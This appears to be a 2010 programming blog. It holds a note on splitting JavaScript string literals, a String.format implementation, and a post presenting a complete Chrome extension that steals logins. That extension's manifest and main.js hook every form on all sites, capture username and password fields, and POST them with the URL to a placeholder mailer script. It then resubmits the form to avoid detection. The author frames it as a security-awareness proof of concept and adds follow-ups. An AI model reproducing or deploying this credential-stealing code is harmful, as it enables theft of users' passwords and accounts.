To split strings into multiple lines in JavaScript, just add the backslash symbol to the end of the unterminated string literal, and now, your splitting task is much easier.

Although using the subscript-notation made the lines easier to split, it introduced a new problem.

Say I have ['ab'] and I need to split between the ' and the a characters.

You can't split like this:

['
ab']

because now you have an unterminated string, which results in an error; but you also can't do this:

['\
ab']

because although it runs successfully, you have now added an extra character (\) to the previous line and that would invalidate your box-line shape of the code. And of course, can't also do this:

[
'ab']

because, as mentioned previously, although it runs, you have now removed a character from the previous line which would invalidate the box.

This one was a bit more annoying to deal with because, to my knowledge, there is no way around it...but still, this was all part of the challenge involved and it was fun.

Tuesday, December 21, 2010

A String.Format for JavaScript

The following is my implementation of a miniature version of .NET's String.Format:

String.format = String.format || function (format) {
    var params = [].splice.call(arguments, 1), nextOpen, nextClose = 0, index, plValue, spaces, totalSpaces,
        removeCharAt = function (text, pos) {
            return text.substr(0, pos) + text.substr(pos + 1, text.length);
        };

    while ((nextOpen = format.indexOf('{', nextClose)) >= 0) {
        if (isNaN(+format[nextOpen+1])) { 
            if (format[nextOpen+1] === "{") {
                format = removeCharAt(format, nextOpen + 1);
                format = removeCharAt(format, format.indexOf('}', nextOpen-1));
                nextClose++;
                continue;
            }
            nextClose = nextOpen + 1;
            continue;
        }
        
        nextClose = format.indexOf('}', nextOpen);
        index = format.substring(nextOpen + 1, nextClose);
        if (index.indexOf(',') > 0) {
            spaces = +index.substring(index.indexOf(',') + 1);
            index = +index.substring(0, index.indexOf(','));
        }
        plValue = params[index] + '';
        if (spaces) {
            totalSpaces = new Array(Math.abs(spaces) - plValue.length + 1).join(" ");
            plValue = spaces > 0 ? totalSpaces + plValue : plValue + totalSpaces;
        }
        format = format.substring(0, nextOpen) + ((!plValue && plValue !== 0) ? "" : plValue) + format.substring(nextClose + 1);
        nextClose = nextOpen + plValue.length - 1;
        spaces = 0;
    }
    return format;
};

Usage

String.format("Hello {0} {1}", "Andreas", "Grech");  // "Hello Andreas Grech"

for (var i = 0; i <= 1000; i += 200) {
    String.format("{0, 5}. Something", i);
}

/* Output:
    0. Something
  200. Something
  400. Something
  600. Something
  800. Something
 1000. Something
*/

String.format("Padded from {0, 7} left", "the");  // "Padded from     the left"
String.format("{{0}}", "Ignored");  // "{0}"
String.format("{{{0}}}", "Not ignored");  // "{Not ignored}"
String.format("{{{{0}}}}", "Seeing the pattern?");  // "{{0}}"
String.format("{{{{{0}}}}}", "This is getting mental"); // "{{This is getting mental}}"

You can fork this project at github: https://github.com/dreasgrech/JSStringFormat

Friday, July 9, 2010

Stealing login details with a Google Chrome extension

In this post I will demonstrate a proof of concept of how an attacker can steal usernames and passwords via a Google Chrome Extension.



(12/07/10: Posted a follow up to clear some misconceptions that where floating around in comments)

(14/07/10: Posted a second follow up as regards the Mozilla article I stumbled upon)



The Google Chrome browser allows the installation of third-party extensions that are used to extend the browser to add new features. The extensions are written in JavaScript and HTML and allow manipulation of the DOM, amongst other features.

By allowing access to the DOM, an attacker can thus read form fields...including username and password fields. This is what sparked my idea of creating this PoC.

The extension I present here is very simple. Whenever a user submits a form, it tries to capture the username and password fields, sends me an email via an Ajax call to a script with these login details along with the url and then proceeds to submit the form normally as to avoid detection.

This simple procedure has been successful against Gmail, Facebook, Twitter and other major websites.

The Code

For this extension, I am making use of jQuery as to write quick code for this prototype, but it can obviously be rewritten without it's dependency.

The first thing the script does is attach a submit handler to every form field on the page:

$("form").submit(function(e) {
 var $this = $(this);
 e.preventDefault();
 process(function() {
  $this.unbind('submit');
  $this.submit();
 });
});

We hook to the submit handler to prevent the default behaviour of the form (ie submitting normally) with e.preventDefault and to call our process function:

var process = function(callback) {
 var username = $("input[type=text]").not(passwordBoxes).filter(function() {
  var field = $(this);
  return field.val() || field.html();
 }).val(),
 password = passwordBoxes.val();

 sendEmail(username, password, location.href, callback);
};

The process function captures the values of the username and password fields respectively. passwordBoxes is a variable containing the inputs of the page that have their type set as password:

var passwordBoxes = $("input[type=password]");

Upon capturing the values of the username and password fields, these are sent along with the current url and the callback that submits the form to the sendEmail function which sends the email with the username, password and url via an Ajax call:

var sendEmail = function(username, password, url, callback) {
 var msg = getMessage(username, password, url);
 $.ajax({
  type: 'POST',
  url: 'the url of the mailer script',
  data: 'the headers you want to send',
  success: callback
 });
};

The getMessage function simply returns a formatted string with the details that will be contained in the email:

var getMessage = function(username, password, url) {
 return "Username: " + username + " || Password: " + password + " || Url: " + url;
};

After the details are sent, the callback is invoked which submits the form normally.

Note that there could be a very small delay between the user clicking the submit button and the form being submitted because of the Ajax call, but it is barely noticeable.



In this post I have demonstrated how an attacker can steal login credentials but this can also be used for other things, such as stealing cookies and hijacking sessions. The point I am trying to make here is that you should always be careful about what third-party applications you install.


The following is the complete code for the main.js file and the manifest.json file:

{
  "name": "Stealing login credentials with Google Chrome Extensions",
  "version": "1.0",
  "description": "A proof of concept demonstrating the possibility of stealing user credentials in login forms via a Google Chrome extension",
  "permissions": ["tabs"],
  "content_scripts": [{
      "matches": ["http://*/*", "https://*/*"],
      "js": ["jquery.min.js", "main.js"],
      "run_at": "document_start"
    }]
}

$(function() {
 var passwordBoxes = $("input[type=password]"),
 getMessage = function(username, password, url) {
  return "Username: " + username + " || Password: " + password + " || Url: " + url;
 },
 sendEmail = function(username, password, url, callback) {
  var msg = getMessage(username, password, url);
  $.ajax({
   type: 'POST',
   url: 'the url of the mailer script', //Change to the path of your mailer script
   data: 'the headers you want to send', //Change to add any headers to be sent along
   success: callback
  });
 },
 process = function(callback) {
  var username = $("input[type=text]").not(passwordBoxes).filter(function() {
   var field = $(this);
   return field.val() || field.html();
  }).val(),
  password = passwordBoxes.val();

  sendEmail(username, password, location.href, callback);
 };

 $("form").submit(function(e) {
  var $this = $(this);
  e.preventDefault();
  process(function() {
   $this.unbind('submit');
   $this.submit();
  });
 });
});

[Update]

Apparently this post has been featured on a couple of other websites, even on Slashdot and Times of Malta (and also in German, French, Italian, Polish, Swedish, Norwegian and Spanish).
I am writing this follow up because I believe that there have been some misconceptions floating around in some comments I saw on other sites. First of all, I haven't stolen any Twitter, Facebook or Gmail accounts. In fact, I didn't even upload this extension to the Google Chrome repository. I have only tried this extension on myself, just to test and see if it works.
Secondly, many people are saying that this isn't big news and that this knowledge is obvious to users. For starters, please note that I have never stated that this is "big news" anywhere in my post. Also, although this may seem 'obvious' to many of you, users need to be reminded about security and to be careful about installing third-party applications. It's true that users need to 'OK' the extension to be installed, but the reality is that very few take into consideration what the script is doing under-the-covers.
I have written this post to merely demonstrate that such things can be done and users should be aware of it.
Some have also commented as regards me demonstrating this on Google Chrome. Yes, other browsers can also be susceptible to this technique but I chose to try this on Google Chrome because it has apparently been dubbed as 'the safest browser available', and I'm not denying that. I wanted to make users aware that although Google Chrome is, undoubtedly, a safe browser to use, they should still be careful about what they install on their browsers and not blindly trust anything.

[Another Update]

Today I have discovered this article posted at the Mozilla Add-ons blog: Add-on security vulnerability announcement.
What's interesting about this article is that it was written on the 13th of July, which is a couple of days after my post got 'popular'. Now, I'm not implying anything but it's just an interesting thought.
Many people have commented about the fact that the 'technique' I used in this extension cannot be applied for other browsers. The article at the Mozilla blog now proves otherwise.
The Mozilla post talks about how one malicious add-on and one other add-on that posed a serious security vulnerability where discovered recently at the Mozilla Add-ons website.
The first add-on is called 'Mozilla Sniffer' and was uploaded to the website on the 6th of June. This add-on intercepts login data and sends it to a remote location. It was discovered on July 12th. Here's a quote about it's current status:


Mozilla Sniffer has been downloaded approximately 1,800 times since its submission and currently reports 334 active daily users. All current users should receive an uninstall notification within a day or so. The site this add-on sends data to seems to be down at the moment, so it is unknown if data is still being collected.

Mozilla Sniffer was not developed by Mozilla, and it was not reviewed by Mozilla. The add-on was in an experimental state, and all users that installed it should have seen a warning indicating it is unreviewed. Unreviewed add-ons are scanned for known viruses, trojans, and other malware, but some types of malicious behavior can only be detected in a code review.


Hopefully this article convinces some of the commenters as regards the "obvious nature of my post". Note that Mozilla reported that the add-on has been downloaded 1,800 times in about a month and that there are currently 334 active daily users.
To the commenters who have said that my post is, and I quote, "much ado about nothing!", hopefully this Mozilla article is a response to that.
On a different point, some have also stated this form of intercepting details cannot be applied to other browser extensions, and multiple reasons where given for this. From this Mozilla article we can now conclude that, if not for the other browsers, this can also be applied to Mozilla Firefox.